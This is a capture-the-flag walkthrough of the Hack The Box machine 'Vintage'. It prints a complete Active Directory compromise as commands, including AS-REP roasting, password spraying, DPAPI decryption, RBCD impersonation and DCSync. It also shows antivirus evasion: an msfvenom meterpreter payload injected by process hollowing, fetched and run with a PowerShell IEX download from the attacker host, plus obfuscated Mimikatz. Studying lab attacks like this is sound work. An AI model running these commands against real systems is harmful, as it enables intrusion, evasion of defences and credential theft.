Vintage
Non Seasonal Machine — Hard
https://app.hackthebox.com/machines/Vintage
بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيم
This is my comprehensive walkthrough for solving Vintage, a challenging Active Directory machine on Hack The Box. This machine was full of Kerberos authentication, ticket manipulation, and meticulous troubleshooting, making it an excellent learning experience for real-world AD exploitation.
The journey began in an assume-breach scenario, with valid domain user credentials in hand. Unlike many environments, NTLM authentication was disabled, leaving only Kerberos authentication available. Through enumeration, we identified the existence of Pre-Windows 2000 Compatible Access group, whose users’ passwords were based on their names. By abusing this, we were able to compromise the password for a machine account FS01$, which belonged to the DOMAIN COMPUTERS group which had the ReadGMSAPassword privilege for the GMSA01$ account. Using this, we extracted the hash of GMSA01$.
The GMSA01$ account had GenericWrite permissions over the DOMAIN COMPUTERS group, which, in turn, had GenericAll access over three service accounts. After obtaining and cracking the service account hashes, we identified the password for SQL_SVC. By performing password spraying, we discovered that C.Neri was reusing the same password.
C.Neri was a member of the REMOTE MANAGEMENT USERS group. Through further enumeration, we identified a DPAPI blob and cracked it using the master key. This yielded credentials for C.Neri_adm, who had GenericWrite access over the DELEGATEDADMINS group. This group was configured with the AllowedToAct privilege on the DC01.vintage.htb machine.
Abusing Resource-Based Constrained Delegation (RBCD), we leveraged the DELEGATEDADMINS group’s privileges to impersonate a high-privilege account on DC01.vintage.htb. This machine, in turn, had DCSync privileges over the vintage.htb domain, allowing us to extract all domain hashes and achieve complete control.
This machine required careful planning, step-by-step execution, and thorough understanding of Kerberos, RBCD, and privilege escalation techniques. Let’s dive into the details!
Reconnaissance
Network Scanning:
The Nmap scan reveals that the target is a Windows Active Directory environment with services like Kerberos (port 88), LDAP (ports 389 and 3268), and SMB (port 445). The domain appears to be vintage.htb, and the host is identified as DC01, likely a domain controller.
Key areas we would focus on next include enumerating LDAP for user and group information, checking SMB for accessible shares, and leveraging Kerberos for possible ticket-based attacks.
Let’s start adding domain to the hosts file for local resolution
1
echo '10.10.11.45 vintage.htb dc01.vintage.htb' | sudo tee -a /etc/hosts
Checking if the credentials we have valid for any of the services
There is something wrong credentials doesn’t work for any of the services and giving us STATUS_NOT_SUPPORTED , checking other tools wmiexec same error
After some searching, found out this means the machine doesn’t allow NTLM auth, so we have to use Kerberos.
https://gist.github.com/mpgn/9fc08b0f0fde55e8c322518bc1f9c317
Requesting a TGT ticket using the credentails we have
1
2
getTGT.py vintage.htb/'P.Rosa':'Rosaisbest123'
export KRB5CCNAME=P.Rosa.ccache
checking the services with the ticket we have and yeah it is working 
- As Kerberos is time-sensitive, ensure the time on the attacking machine is synchronized with the target:
sudo ntpdate -u 10.10.11.45 - To streamline Kerberos operations, the /etc/krb5.conf file must be configured by modifying the file directly.
1 2 3 4 5 6 7 8 9 10 11 12
[libdefaults] default_realm = VINTAGE.HTB [realms] VINTAGE.HTB = { kdc = dc01.vintage.htb admin_server = dc01.vintage.htb } [domain_realm] .vintage.htb = VINTAGE.HTB vintage.htb = VINTAGE.HTB
Alternatively, use the interactive tool
1 2
sudo apt install krb5-user sudo dpkg-reconfigure krb5-config
Service Enumeration:
1. SSL/TLS Certificate
Port 3269 is commonly used for LDAP over TLS/SSL The tcpwrapped state indicates the port is open but not providing detailed service information so let’s start by checking it.
1
openssl s_client -connect 10.10.11.45:3269 -showcerts
It is open but did not respond to SSL/TLS handshake attempts. The lack of a peer certificate and handshake completion suggests that the service is either non-functional, filtered, or restricted. Nothing important for us.
2. LDAP
To enumerate LDAP on this machine, you can extract all LDAP data using the ldapsearch
1
ldapsearch -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w 'Rosaisbest123' -b "DC=vintage,DC=htb" | tee -a ldap.data
If you’re looking for specific attributes, you can use LDAP queries with search filters. For example, to list all user account names:
1
ldapsearch -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w 'Rosaisbest123' -b "DC=vintage,DC=htb" '(objectClass=Person)' sAMAccountName | grep sAMAccountName | cut -d ':' -f 2 | sed 's/^[[:space:]]*//' | grep -v '^$' | tail -n +2 | tee -a users.list
Store these valid users; we will need them later.
For a more organized and categorized output, use ldapdomaindump to create a visual and structured representation of the data:
1
ldapdomaindump -u 'vintage\P.Rosa' -p 'Rosaisbest123' -o dump/ ldap://10.10.11.45 -at SIMPLE
Privileged accounts
LDAP enumeration reveals privileged accounts such as
L.Bianchi_admand Administrator, both members of the Domain Admins group with passwords set to never expire, making them high-value targets for privilege escalation. Additionally, the userC.Neri_ad, found under the DelegatedAdmins group, may also be a valuable target for further exploitation.
Computer accounts
Computer accounts, including
fs01,DC01running Windows Server 2022 with trusted delegation enabled, andgMSA01, a potential Group Managed Service Account (gMSA). If we compromise an account with sufficient privileges, we can retrieve the gMSA’s password.
Groups of Interest
The
ServiceManagersgroup contains accounts likeC.Neri,G.Viola, and `L.Bianchi they might have elevated privileges or access to manage critical services, making them valuable targets for further exploitation.
There is
Pre-Windows 2000 Compatible Access groupwhich may exploited later for gaining initial foothold
3. SMB
Checking Credentials with SMB, but it gave us another error 
I tried using the machine IP but with error again, kerberos protocol doesn’t work with IPs 
While running the tool in the debug mode If found a domain resolution issue when using vintage.htb 
But when trying the FQDN it works well 
Now we can use spider_plus module to enumerate shares
1
nxc smb dc01.vintage.htb -u 'P.Rosa' -p 'Rosaisbest123' -k -M spider_plus
No Custom shares and we have Read Permissions on Default Shares with no important data. 
If you want to check, you can use smbclient
1
smbclient.py -k vintage.htb/P.Rosa:Rosaisbest123@dc01.vintage.htb
If any errors happened you can use
1
smbclient.py -k vintage.htb/P.Rosa:Rosaisbest123@dc01.vintage.htb -dc-ip dc01.vintage.htb
We could use SMB with -rid-brute for user and groups rid bruteforce to collect valid machine accounts but we have gathered them before from LDAP
1
nxc smb dc01.vintage.htb -d vintage.htb -u P.Rosa -k --use-kcache --rid-brute | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1
Exploitation
Using Bloodhound to visualize environment structure
Since we do not have direct access to any machine, we use the BloodHound Python ingestor to gather information about the domain.
1
bloodhound-python -d vintage.htb -c All -ns 10.10.11.45 --zip -u 'P.Rosa' -p 'Rosaisbest123' -k
or using netexc
1
nxc ldap dc01.vintage.htb -d vintage.htb -u P.Rosa -p Rosaisbest123 -k --bloodhound --collection All --dns-server 10.10.11.45
However, after analyzing the collected data, no significant attack paths are identified using the current user’s privileges.
Targeting Pre-Windows 2000 Computers
From the enumeration phase, we identify the presence of the Pre-Windows 2000 Compatible Access group. 
We now focus on discovering Pre-Windows 2000 computers.
INFO: When a new computer account is configured as
pre-Windows 2000 computer, its password is set based on its name (i.e. lowercase computer name without the trailing $). When it isn’t, the password is randomly generated.
We can use pre2k to bruteforce computers on the domain, we just need a list of valid accounts to bruteforce them
To identify Pre-Windows 2000 computers and attempt to access them, we use the pre2k tool with a list of valid domain accounts we gathered before. This allows us to brute-force the machine account passwords.
1
pre2k unauth -d vintage.htb -dc-ip 10.10.11.45 -save -inputfile users.list
The attack is successful, and we gain access to the FS01$ machine account.
Marking FS01$ as Owned in bloodhound, After obtaining access to the FS01$ machine account, we analyze potential attack paths using BloodHound.
ACL abuse
ReadGMSAPassword
The analysis reveals that FS01$ is a member of the DOMAIN COMPUTERS group, which has the ReadGMSAPassword privilege on the GMSA01$ Group Managed Service Account (GMSA). 
INFO: GMSA01$ Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is managed by and automatically changed by Domain Controllers on a set interval
Using the bloodyAD with FS01$ ticket, to query the domain for the msDS-ManagedPassword attribute of the GMSA01$ account. This attribute stores the encrypted password for the GMSA
1
bloodyAD --host dc01.vintage.htb --domain "vintage.htb" --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword
The attack is successful, and we extract the hash of the GMSA01$ account.
With the hash of the GMSA01$ account, we can obtain a TGT for the account and export it.
1
getTGT.py vintage.htb/'GMSA01$' -hashes aad3b435b51404eeaad3b435b51404ee:7dc430b95e17ed6f817f69366f35be06
GenericWrite over a Group
Returning to BloodHound after obtaining a TGT for GMSA01$, we identified that:
GMSA01$hasGenericWriteaccess over the SERVICEMANAGERS group.
- The
SERVICEMANAGERSgroup holdsGenericAllpermissions over three service accounts
To exploit this chain, we can add our controlled user, P.Rosa, to the SERVICEMANAGERS. This provides P.Rosa with GenericAll permissions over the three SVC accounts.
Using bloodyAD to add P.Rosa to the group
1
bloodyAD --host dc01.vintage.htb --domain vintage.htb --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "P.Rosa"
To confirm the addition, we query the members of the group
1
bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k get object "SERVICEMANAGERS" | grep 'P.Rosa'
Once P.Rosa is added to the group, we have to request a new TGT for P.Rosa to reflect the updated permissions
1
2
getTGT.py vintage.htb/'P.Rosa':'Rosaisbest123'
export KRB5CCNAME=P.Rosa.ccache
GenericAll over Service account
With the GenericAll permissions over the SVC accounts, we can:
- Directly change the account passwords to gain control of their accounts.
- Add the
DONT_REQ_PREAUTHattribute to enable AS-REP Roasting, allowing us to retrieve their hashes for offline cracking and identify their plaintext passwords for password spraying across the domain.
After analysis, the SVC accounts do not provide direct attack paths in BloodHound. Therefore, instead of Force Changing their Passwords, it is more effective to attempt password spraying with the retrieved credentials to identify other attack paths.
AS-REP hashes
Starting adding the DONT_REQ_PREAUTH attribute to enable AS-REP Roasting
1
2
3
bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH
Then Requesting user accounts hashes using
1
kerbrute_linux_amd64 userenum --dc 10.10.11.45 -d vintage.htb users.list
1
GetNPUsers.py -request -outputfile hashes.txt -format hashcat -usersfile users.list vintage.htb/
Start cracking the obtained hashes with hashcat
1
hashcat hashes.txt /usr/share/wordlists/rockyou.txt --force
Unfortunately hashcat finished without cracking any of the both obtained hashes
Hashes for SVC_ARK and SVC_LDAP were obtained, but SVC_SQL was missing.
Checking BloodHound revealed that SVC_SQL was disabled.
To enable the SVC_SQL account
1
bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
Reattempting AS-REP Roasting Once the SVC_SQL account was enabled, hashes were successfully retrieved
Hash has successfully cracked
Spraying the obtained password on the list of valid users we have
1
kerbrute_linux_amd64 passwordspray --dc 10.10.11.45 -d vintage.htb users.list Zer0the0ne
We Found a valid user from spraying
Privilege Escalation
We have User C.Neri credentials, Start by requesting a TGT for this user
C.Neri is member of the REMOTE MANAGEMENT USERS group so we can try use Evil-WinRM to access it
- First request a ticket
1 2
getTGT.py vintage.htb/C.Neri:Zer0the0ne export KRB5CCNAME=C.Neri.ccache
Then use
Evil-WinRMfor access1
evil-winrm -i dc01.vintage.htb -r vintage.htb
You could keep using Evil-WinRM, but it isn’t stable on this machine, especially for heavy enumeration and the presence of antivirus. You might need to switch to another shell or use Meterpreter.
Using DynWin32-ShellcodeProcessHollowing.ps1, This script performs shellcode-based process hollowing by injecting shellcode into a trusted process (svchost.exe) using dynamic Win32 API lookups. This technique bypasses antivirus detection while ensuring stealth and execution stability.
- Generate the shell code using
msfvenom1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.75 LPORT=4444 -f psh
Adjusting the powershell shellcode
Download this script DynWin32-ShellcodeProcessHollowing.ps1 and place the generated shellcode from the previous step into the $SHELLCODE byte array.

- Start the Python server
1
sudo python3 -m http.server 80
- Start Metasploit C2 server
1
msfconsole -x "use exploits/multi/handler; set lhost 10.10.16.75; set lport 4444; set payload windows/x64/meterpreter/reverse_tcp; exploit"
Execute the shellcode:
In Evil-WinRM, download and trigger the shell.
1
powershell "IEX(new-object System.Net.WebClient).Downloadstring('http://10.10.16.75:80/shell.ps1')"
We got shell
Extracting DPAPI Backup Keys
After some time searching for a lead and manually enumerating the machine (as I couldn’t run most of the known tools due to the presence of antivirus blocking and deleting them if they touched the disk), I found encrypted DPAPI-related files under the C:\Users\C.Neri\AppData\ directory.
Data Protection API (DPAPI)
On Windows, credentials stored in the Windows Credentials Manager are encrypted using Microsoft’s Data Protection API (DPAPI) and saved as “blob” files within the user’s AppData folder. Within a domain, the domain controller’s master key is used to encrypt these blobs. By extracting the private key from the domain controller, it is possible to decrypt all the blobs, thereby recovering all the secrets stored in the Windows Credentials Manager across all workstations in the domain.
Two things needed for this process
- Master Key Get-ChildItem C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect

- The blob or the backup
1 2
Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\
We need the Master Key to decrypt the blob and extract the secrets stored within. To extract the Master Key, we need valid credentials for the user.
There are several ways to do this: using Mimikatz, SharpDPAPI, or by downloading the files locally and using dpapi.py from Impacket to decrypt everything. The last option is the most reliable at the moment, as it won’t interact with the disk, ensuring the antivirus doesn’t interfere with our work.
I would Mention Both ways for more knowledge
1. Offline Cracking
We need to obtain the files and transfer them to our machine.
- Download DPAPI-protected blobs: To find the DPAPI-protected blobs
1
Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\
These files are hidden, so we need to change the file permissions to be able to download them1
Set-ItemProperty -Path "C:\Users\C.Neri\AppData\Roaming\microsoft\credentials\C4BB96844A5C9DD45D5B6A9859252BA6" -Name Attributes -Value ([System.IO.FileAttributes]::Normal)
You can download them directly if you’re using Evil-WinRM or the Meterpreter shell
1 2
cd C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials download C4BB96844A5C9DD45D5B6A9859252BA6
If you’re using a limited shell, you can use Netcat,
Invoke-WebRequest, or create an SMB server and copy the files there. Download Master Keys:
To retrieve the master keys:
1
Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Download both files to check them. To change the file permissions:1
Set-ItemProperty -Path "C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b" -Name Attributes -Value ([System.IO.FileAttributes]::Normal)
Then, download the files
1 2
cd C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115 download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
After that we could crack these files locally
Decrypt the Master Key
1
dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
Decrypt the DPAPI Blob
1
dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
2. Using Mimikatz
If you have an obfuscated version of Mimikatz, you can use it directly. If not, it’s essential to learn how to obfuscate your tools for later use. For now, we will use RingQ to automate the process, as heavy obfuscation is not necessary at this stage.
- Download the Tool from github
- Place Mimikatz.exe in the same folder as the tool.
Use Create.exe to create the obfuscated payload to evade detection.
Once tested and confirmed to be working, proceed with uploading the files. 
Upload the loader and the
main.txtfile to the machine.Ensure both the loader and obfuscated code are in the same directory.
1 2
upload /htb/Vintage/www/RingQ.exe upload /htb/Vintage/www/main.txt
- Run the loader to load the executable.

Decrypt the Master Key
To decrypt the master key, use the following Mimikatz command:
1
dpapi::masterkey /in:C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847 /sid:S-1-5-21-4024337825-2033394866-2055507597-1115 /password:Zer0the0ne /protected
Decrypt the DPAPI Blob
To decrypt the DPAPI blob, use the following command:
1
dpapi::cred /in:C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6 /masterkey:f8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
We now have credentials for C.Neri_adm blob, Test these creds. 
Mark this user as Owned in BloodHound and analyze the possible attack paths.
ACL Abuse
Our user has GenericWrite and AddSelf DACL privileges over the DELEGATEDADMINS group. This group has the AllowedToAct privilege on the DC01.vintage.htb machine, which in turn has DCSync privileges over the vintage.htb domain.
To exploit the AllowedToAct privilege, we can abuse Resource-Based Constrained Delegation (RBCD) by forging a TGS. This allows us to execute a modified S4U2self / S4U2proxy abuse chain to impersonate an administrative user on the target system and obtain a valid service ticket “as” that user.
The msDS-AllowedToActOnBehalfOfOtherIdentity attribute is used to specify which security principals (users, computers, or groups) are allowed to impersonate other users or services on behalf of another identity.
It is critical to note that the principal added to the msDS-AllowedToActOnBehalfOfOtherIdentity DACL must have an SPN set in order to successfully abuse the S4U2self/S4U2proxy process.
For this, we can leverage the SQL_SVC account as we already have its credentials, and we can easily configure its SPN.
The steps for the attack are as follows:
Using P.Rosa priv as we added to SERVICEMANAGERS group, Add SPN to the SQL_SVC user account
We know from before it is disabled and there are clean up script running on the machine so we have to redo this once more quickly
Note: We have to do all steps quickly one by one and take care of the ticket of have and which user has the priv
1 2 3 4
# Enabling SVC_SQL account bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE #Set servicePrincipalName for SVC_SQL bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k set object 'SVC_SQL' servicePrincipalName -v 'cifs/sql'
Request
C.Neri_admTGTAdd
sql_svcuser to theDELEGATEDADMINSgroup using theGenericWritepermissions ofC.Neri_adm.1
bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
Request a
TGTforsql_svcinheriting the newly assignedAllowedToActprivilege.Abuse
RBCDby forging a TGS ticket to impersonate a high-privilege administrative user.We have two users in the Domain Admins group:
AdministratorandL.BIANCHI_ADM. If one user’s ticket does not work, we can attempt the other.
- To request a TGS impersonating the
Administrator:1
getST.py -dc-ip 10.10.11.45 -spn 'cifs/dc01.vintage.htb' -impersonate Administrator -k 'vintage.htb/svc_sql:Zer0the0n'
- To request a TGS impersonating
L.BIANCHI_ADM1
getST.py -dc-ip 10.10.11.45 -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -k 'vintage.htb/svc_sql:Zer0the0n'
- To request a TGS impersonating the
Execute a DCSync attack to extract domain hashes
Once we have impersonated a high-privilege user, use the forged TGS to perform a DCSync attack.
1
secretsdump.py -k dc01.vintage.htbConnect to the target machine
After testing, the Administrator ticket or hash could not be used for remote shell access, as it lacks remote management privileges. Instead, we can use the L.BIANCHI_ADM ticket to gain access.
- Using wmiexec
1
wmiexec.py -k -no-pass L.BIANCHI_ADM@dc01.vintage.htb -dc-ip 10.10.11.45
Or using smbexec
1
smbexec.py -k -no-pass L.BIANCHI_ADM@dc01.vintage.htb -dc-ip 10.10.11.45
If you prefer to use Evil-WinRM, you must request a service ticket for HTTP instead of CIFS
1
getST.py -dc-ip 10.10.11.45 -spn 'HTTP/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -k 'vintage.htb/svc_sql:Zer0the0n'
- Using wmiexec
The entire process must be executed quickly, one step after another, to ensure success and maintain consistency across the attack phases. If any errors occur during the process, follow these steps to troubleshoot:
- Verify for whom the exported Kerberos ticket using klist.
- Check the krb5 configuration.
- Kerberos only works with the FQDN so you have to use it like dc01.vintage.htb
- Ensure there is no significant time difference between your local machine and the target system.
- If issues persist, consider requesting a reset of the target machine to restore its state.
Additionally, I’ve created a script to automate the entire attack process. You can find it here: vintage.htb 
https://www.hackthebox.com/achievement/machine/1862550/637









































